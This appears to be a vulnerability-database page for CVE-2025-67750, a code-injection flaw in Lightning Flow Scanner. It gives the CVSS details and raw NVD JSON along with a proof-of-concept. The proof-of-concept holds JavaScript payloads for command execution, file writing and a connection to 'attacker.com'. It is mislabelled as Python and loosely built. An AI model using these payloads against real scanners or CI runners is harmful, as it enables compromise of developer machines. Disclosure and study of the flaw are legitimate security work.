Security Vulnerability Report
中文
CVE-2025-67750 CVSS 8.4 HIGH

CVE-2025-67750

Published: 2025-12-12 21:16:00
Last Modified: 2026-04-15 00:35:42

Description

Lightning Flow Scanner provides a A CLI plugin, VS Code Extension and GitHub Action for analysis and optimization of Salesforce Flows. Versions 6.10.5 and below allow a maliciously crafted flow metadata file to cause arbitrary JavaScript execution during scanning. The APIVersion rule uses new Function() to evaluate expression strings, enabling an attacker to supply a malicious expression within rule configuration or crafted flow metadata. This could compromise developer machines, CI runners, or editor environments. This issue is fixed in version 6.10.6.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Lightning Flow Scanner < 6.10.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-67750 PoC - Malicious Flow Metadata File This PoC demonstrates arbitrary JavaScript execution via APIVersion rule in Lightning Flow Scanner <= 6.10.5 */ // Create a malicious flow metadata file with embedded JavaScript payload const maliciousFlowMetadata = { Flow: { '@': { xmlns: 'http://soap.sforce.com/2006/04/metadata', apiVersion: '58.0' }, description: 'Malicious flow metadata', // The APIVersion rule evaluates this expression using new Function() // Attacker can inject arbitrary JavaScript here apiVersion: '${require("child_process").execSync("whoami")}' } }; // Example: Exfiltrate environment variables const exfilPayload = '${require("child_process").execSync("echo $PATH")}'; // Example: Write arbitrary file const fileWritePayload = '${require("fs").writeFileSync("/tmp/pwned","hacked")}'; // Example: Reverse shell payload const reverseShellPayload = '${require("net").createConnection(4444,"attacker.com")}'; console.log('PoC for CVE-2025-67750'); console.log('Generate malicious flow XML file and scan with vulnerable version'); console.log('Payload:', exfilPayload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67750", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:59.857", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lightning Flow Scanner provides a A CLI plugin, VS Code Extension and GitHub Action for analysis and optimization of Salesforce Flows. Versions 6.10.5 and below allow a maliciously crafted flow metadata file to cause arbitrary JavaScript execution during scanning. The APIVersion rule uses new Function() to evaluate expression strings, enabling an attacker to supply a malicious expression within rule configuration or crafted flow metadata. This could compromise developer machines, CI runners, or editor environments. This issue is fixed in version 6.10.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/Flow-Scanner/lightning-flow-scanner/commit/10f64a5eb193d8a777e453b25e910144e4540795", "source": "[email protected]"}, {"url": "https://github.com/Flow-Scanner/lightning-flow-scanner/releases/tag/core-v6.10.6", "source": "[email protected]"}, {"url": "https://github.com/Flow-Scanner/lightning-flow-scanner/security/advisories/GHSA-55jh-84jv-8mx8", "source": "[email protected]"}]}}